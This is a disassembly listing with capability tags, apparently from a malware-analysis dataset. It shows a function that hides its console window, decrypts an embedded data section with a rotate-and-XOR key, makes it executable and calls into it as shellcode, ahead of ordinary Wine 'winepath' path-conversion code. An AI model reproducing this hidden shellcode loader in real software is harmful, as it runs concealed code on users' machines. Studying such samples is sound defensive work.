Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x390
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
lea eax, str.mlqkipqbrjzcq
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
sub esp, 8
mov dword [esp], 0x2ebae40
call fcn.00406000
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401068
xor eax, eax
add esp, 0x390
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov dword [esp + 4], 0xa0
mov dword [esp + 8], 0x2ebae40
call fcn.00402db0
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0x164b
jae 0x4010f1
mov eax, dword [ebp - 0xc]
mov al, byte [eax + section..data]
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov al, byte [eax + ecx]
mov byte [ebp - 0xe], al
movzx eax, byte [ebp - 0xd]
sar eax, 3
movzx ecx, byte [ebp - 0xd]
shl ecx, 5
or eax, ecx
movzx ecx, byte [ebp - 0xe]
xor eax, ecx
mov cl, al
mov eax, dword [ebp - 0xc]
mov byte [eax + section..data], cl
mov eax, dword [ebp - 0x14]
add eax, 1
mov ecx, 0xd
cdq
idiv ecx
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x40108a
lea ecx, section..data
lea eax, [ebp - 0x20]
mov dword [esp], ecx
mov dword [esp + 4], 0x164b
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
lea eax, section..data
call eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.00405fe5
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x340]
mov dword [esp], eax
call 0x4019e0
sub esp, 4
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x338]
and eax, 0x10
cmp eax, 0
je 0x401185
mov dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x338]
xor eax, 0x10
mov dword [ebp - 0x338], eax
jmp 0x40118f
mov dword [ebp - 0x33c], 0xa
cmp dword [ebp - 0x338], 0
jne 0x4011a6
mov dword [ebp - 0x338], 4
mov eax, dword [ebp - 0x338]
and eax, 4
cmp eax, 0
je 0x401227
lea eax, str.KERNEL32
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov ecx, eax
lea eax, str.wine_get_unix_file_name
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
cmp dword [ebp - 0x24], 0
jne 0x401222
mov dword [esp], 2
call fcn.00403066
mov edx, eax
lea ecx, str._s:_cannot_get_the_address_of_wine_get_unix_file_name_n
lea eax, str.winepath
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401da0
mov dword [esp], 3
call fcn.0040501f
jmp 0x401227
mov eax, dword [ebp - 0x338]
and eax, 8
cmp eax, 0
je 0x4012a8
lea eax, str.KERNEL32
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov ecx, eax
lea eax, str.wine_get_dos_file_name
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
cmp dword [ebp - 0x28], 0
jne 0x4012a3
mov dword [esp], 2
call fcn.00403066
mov edx, eax
lea ecx, str._s:_cannot_get_the_address_of_wine_get_dos_file_name_n
lea eax, str.winepath
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401da0
mov dword [esp], 3
call fcn.0040501f
jmp 0x4012a8
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0xc]
cmp dword [eax + ecx*4], 0
je 0x4019c5
mov byte [ebp - 0x334], 0
mov eax, dword [ebp - 0x338]
and eax, 2
cmp eax, 0
je 0x40137e
lea eax, [ebp - 0x230]
mov ecx, dword [ebp - 0x340]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ecx + edx*4]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
sub esp, 0xc
cmp eax, 0
je 0x40135c
lea eax, [ebp - 0x334]
lea ecx, [ebp - 0x230]
xor edx, edx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0x104
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
sub esp, 0x20
mov eax, dword [ebp - 0x33c]
lea ecx, [ebp - 0x334]
lea edx, [0x418824]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401de0
mov eax, dword [ebp - 0x338]
and eax, 1
cmp eax, 0
je 0x401433
lea eax, [ebp - 0x230]
mov ecx, dword [ebp - 0x340]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ecx + edx*4]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
sub esp, 0xc
cmp eax, 0
je 0x401411
lea eax, [ebp - 0x334]
lea ecx, [ebp - 0x230]
xor edx, edx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0x104
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
sub esp, 0x20
mov eax, dword [ebp - 0x33c]
lea ecx, [ebp - 0x334]
lea edx, [0x418824]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401de0
mov eax, dword [ebp - 0x338]
and eax, 4
cmp eax, 0
je 0x4017ef
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx*4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
add eax, 1
shl eax, 1
mov dword [esp], eax
call fcn.00406000
mov dword [ebp - 0x344], eax
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x344]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
sub esp, 8
mov dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x344]
mov dword [esp], ecx
call eax
sub esp, 4
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0
je 0x4015b7
cmp dword [ebp - 0x348], 0
je 0x40155c
lea eax, [ebp - 0x334]
mov ecx, dword [ebp - 0x348]
add ecx, 2
xor edx, edx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0x104
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
sub esp, 0x20
mov eax, dword [ebp - 0x33c]
lea ecx, [ebp - 0x334]
mov edx, dword [ebp - 0x350]
lea esi, str._s__s_c
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00401de0
jmp 0x40157e
mov eax, dword [ebp - 0x33c]
mov ecx, dword [ebp - 0x350]
lea edx, [0x418824]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401de0
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0x368], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, eax
mov eax, dword [ebp - 0x368]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
sub esp, 0xc
jmp 0x4017e1
cmp dword [ebp - 0x348], 0
je 0x4015d5
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x36c], eax
jmp 0x4015ec
mov eax, dword [ebp - 0x344]
mov ecx, dword [ebp - 0x34c]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x354], eax
mov ecx, dword [ebp - 0x354]
xor eax, eax
cmp ecx, dword [ebp - 0x344]
mov byte [ebp - 0x36d], al
je 0x401641
mov eax, dword [ebp - 0x354]
movzx ecx, word [eax]
xor eax, eax
cmp ecx, 0x2f
mov byte [ebp - 0x36d], al
je 0x401641
mov eax, dword [ebp - 0x354]
movzx eax, word [eax]
cmp eax, 0x5c
setne al
mov byte [ebp - 0x36d], al
mov al, byte [ebp - 0x36d]
test al, 1
jne 0x401654
jmp 0x401668
mov eax, dword [ebp - 0x354]
add eax, 0xfffffffe
mov dword [ebp - 0x354], eax
jmp 0x4015f8
mov eax, dword [ebp - 0x354]
cmp eax, dword [ebp - 0x344]
jne 0x401697
mov eax, dword [ebp - 0x33c]
lea ecx, [0x418826]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401de0
jmp 0x4017e1
mov eax, dword [ebp - 0x354]
add eax, 2
mov dword [ebp - 0x358], eax
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
xor eax, eax
cmp ecx, 0
mov byte [ebp - 0x36e], al
je 0x401757
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
xor eax, eax
cmp ecx, 0x2a
mov byte [ebp - 0x36e], al
je 0x401757
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
xor eax, eax
cmp ecx, 0x3f
mov byte [ebp - 0x36e], al
je 0x401757
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
xor eax, eax
cmp ecx, 0x3c
mov byte [ebp - 0x36e], al
je 0x401757
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
xor eax, eax
cmp ecx, 0x3e
mov byte [ebp - 0x36e], al
je 0x401757
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
xor eax, eax
cmp ecx, 0x7c
mov byte [ebp - 0x36e], al
je 0x401757
mov eax, dword [ebp - 0x358]
movzx eax, word [eax]
cmp eax, 0x22
setne al
mov byte [ebp - 0x36e], al
mov al, byte [ebp - 0x36e]
test al, 1
jne 0x40176a
jmp 0x40177e
mov eax, dword [ebp - 0x358]
add eax, 2
mov dword [ebp - 0x358], eax
jmp 0x4016a6
mov eax, dword [ebp - 0x358]
movzx eax, word [eax]
cmp eax, 0
je 0x4017ad
mov eax, dword [ebp - 0x33c]
lea ecx, [0x418826]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401de0
jmp 0x4017e1
cmp dword [ebp - 0x348], 0
je 0x4017c5
mov eax, dword [ebp - 0x348]
mov word [eax], 0x2f
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
mov word [eax], 0
jmp 0x4014a9
mov eax, dword [ebp - 0x344]
mov dword [esp], eax
call fcn.00405fe5
mov eax, dword [ebp - 0x338]
and eax, 8
cmp eax, 0
je 0x4019b2
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx*4]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
sub esp, 0x20
mov dword [ebp - 0x364], eax
mov eax, dword [ebp - 0x364]
mov dword [esp], eax
call fcn.00406000
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x364]
mov ecx, dword [ebp - 0x360]
mov edx, dword [ebp - 0x340]
mov esi, dword [ebp - 0xc]
mov edx, dword [edx + esi*4]
xor esi, esi
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
sub esp, 0x20
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x360]
mov dword [esp], ecx
call eax
sub esp, 4
mov dword [ebp - 0x35c], eax
cmp eax, 0
je 0x40198c
lea eax, [ebp - 0x334]
mov ecx, dword [ebp - 0x35c]
xor edx, edx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0x104
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
sub esp, 0x20
mov eax, dword [ebp - 0x33c]
lea ecx, [ebp - 0x334]
lea edx, [0x418824]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401de0
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x374], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, eax
mov eax, dword [ebp - 0x374]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
sub esp, 0xc
jmp 0x4019a4
mov eax, dword [ebp - 0x33c]
lea ecx, [0x418826]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401de0
mov eax, dword [ebp - 0x360]
mov dword [esp], eax
call fcn.00405fe5
jmp 0x4019b7
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x4012af
xor eax, eax
mov dword [esp], 0
call fcn.0040501f
nop word cs:[eax + eax]
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 1
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
xor eax, eax
cmp dword [ecx + edx*4], 0
mov byte [ebp - 0x11], al
je 0x401a1f
cmp dword [ebp - 8], 0
setne al
xor al, 0xff
mov byte [ebp - 0x11], al
mov al, byte [ebp - 0x11]
test al, 1
jne 0x401a2f
jmp 0x401bcf
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx*4]
movzx eax, word [eax]
cmp eax, 0x2d
je 0x401a52
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x4019fe
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx*4]
movzx eax, word [eax + 2]
cmp eax, 0x2d
jne 0x401b2f
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx*4]
movzx eax, word [eax + 4]
cmp eax, 0
jne 0x401a8a
mov dword [ebp - 8], 1
jmp 0x401b2a
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp dword [eax*4 + 0x41e64c], 0
je 0x401ae9
mov eax, dword [ebp - 0x10]
mov eax, dword [eax*4 + 0x41e64c]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ecx + edx*4]
add ecx, 4
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
sub esp, 8
cmp eax, 0
jne 0x401ad6
jmp 0x401ae9
jmp 0x401adb
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
jmp 0x401a91
mov eax, dword [ebp - 0x10]
cmp dword [eax*4 + 0x41e64c], 0
je 0x401b25
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x41e64c]
movzx ecx, word [ecx]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401be0
sub esp, 8
or eax, dword [ebp - 4]
mov dword [ebp - 4], eax
jmp 0x401b2a
jmp 0x401b8b
mov dword [ebp - 0x10], 1
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x10]
cmp word [eax + ecx*2], 0
je 0x401b86
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + ecx*2]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00401be0
sub esp, 8
or eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
jmp 0x401b36
jmp 0x401b8b
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
sub ecx, 1
cmp dword [eax + ecx*4], 0
je 0x401bca
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
mov edx, dword [eax + ecx*4]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
jmp 0x401b94
jmp 0x4019fe
mov eax, dword [ebp - 4]
add esp, 0x1c
pop ebp
ret 4